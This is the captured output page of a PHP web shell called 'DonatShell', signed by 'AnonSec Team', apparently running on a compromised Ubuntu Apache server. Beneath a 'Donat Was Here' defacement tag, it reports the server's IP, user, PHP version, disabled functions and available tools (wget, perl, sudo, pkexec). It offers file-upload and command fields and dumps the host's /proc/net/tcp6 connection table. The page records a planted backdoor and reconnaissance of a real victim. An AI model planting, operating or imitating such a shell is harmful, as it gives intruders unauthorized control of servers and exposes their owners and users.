%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,mail,shell_exec,system,proc_open,popen,ini_alter,dl,proc_close,curl_exec,curl_multi_exec,readfile,parse_ini_file,escapeshellarg,escapeshellcmd,show_source,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,mail,php_uname,phpinfo
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/2076/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/2076/net/tcp6
  sl  local_address                         remote_address                        st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
   0: 00000000000000000000000000000000:2710 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 24075 1 0000000000000000 100 0 0 10 0
   1: 00000000000000000000000000000000:0050 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 16701 1 0000000000000000 100 0 0 10 0
   2: 00000000000000000000000000000000:07D2 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 15735 1 0000000000000000 100 0 0 10 0
   3: 00000000000000000000000000000000:01BB 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 16705 1 0000000000000000 100 0 0 10 0
   4: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000095D849D8:FDD1 06 00000000:00000000 03:00001154 00000000     0        0 0 3 0000000000000000
   5: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000095D849D8:5938 06 00000000:00000000 03:000004B2 00000000     0        0 0 3 0000000000000000
   6: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000095D849D8:229B 01 00000A49:00000000 01:00000015 00000000    33        0 1257754 3 0000000000000000 48 4 1 10 7
   7: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000095D849D8:83DB 06 00000000:00000000 03:000010ED 00000000     0        0 0 3 0000000000000000
   8: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000095D849D8:F816 06 00000000:00000000 03:00001365 00000000     0        0 0 3 0000000000000000
   9: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF00001DCFAB14:8672 01 00000000:00000000 02:000AF891 00000000    33        0 1257578 2 0000000000000000 41 4 25 10 7
  10: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000095D849D8:C6D7 06 00000000:00000000 03:000004BE 00000000     0        0 0 3 0000000000000000
  11: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000095D849D8:6C1E 06 00000000:00000000 03:000004E3 00000000     0        0 0 3 0000000000000000
  12: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000095D849D8:3820 01 00000A49:00000000 01:0000001E 00000000    33        0 1247128 3 0000000000000000 48 4 1 10 7
  13: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000095D849D8:E68E 06 00000000:00000000 03:00001361 00000000     0        0 0 3 0000000000000000
  14: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000095D849D8:EA65 06 00000000:00000000 03:000004A8 00000000     0        0 0 3 0000000000000000
  15: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000095D849D8:3CD3 06 00000000:00000000 03:00001120 00000000     0        0 0 3 0000000000000000
  16: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000095D849D8:A933 01 00000000:00000000 02:000AF891 00000000    33        0 1258532 2 0000000000000000 84 4 30 10 7
  17: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000095D849D8:CAFB 01 00000000:00000000 02:000AF891 00000000    33        0 1257749 4 0000000000000000 48 4 3 10 7
  18: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF00001DCFAB14:DF10 06 00000000:00000000 03:000008AA 00000000     0        0 0 3 0000000000000000
  19: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000095D849D8:9268 06 00000000:00000000 03:000004A2 00000000     0        0 0 3 0000000000000000
  20: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000095D849D8:7266 06 00000000:00000000 03:000004A8 00000000     0        0 0 3 0000000000000000
  21: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000095D849D8:4321 06 00000000:00000000 03:000010D2 00000000     0        0 0 3 0000000000000000
  22: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000095D849D8:BA48 06 00000000:00000000 03:0000135F 00000000     0        0 0 3 0000000000000000
  23: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000095D849D8:65CD 06 00000000:00000000 03:000004AC 00000000     0        0 0 3 0000000000000000
  24: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000044B603C0:C810 06 00000000:00000000 03:00000896 00000000     0        0 0 3 0000000000000000
  25: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000095D849D8:38D4 01 00000D1E:00000000 01:00000027 00000000    33        0 1259576 3 0000000000000000 48 4 1 10 7

Anon7 - 2022
AnonSec Team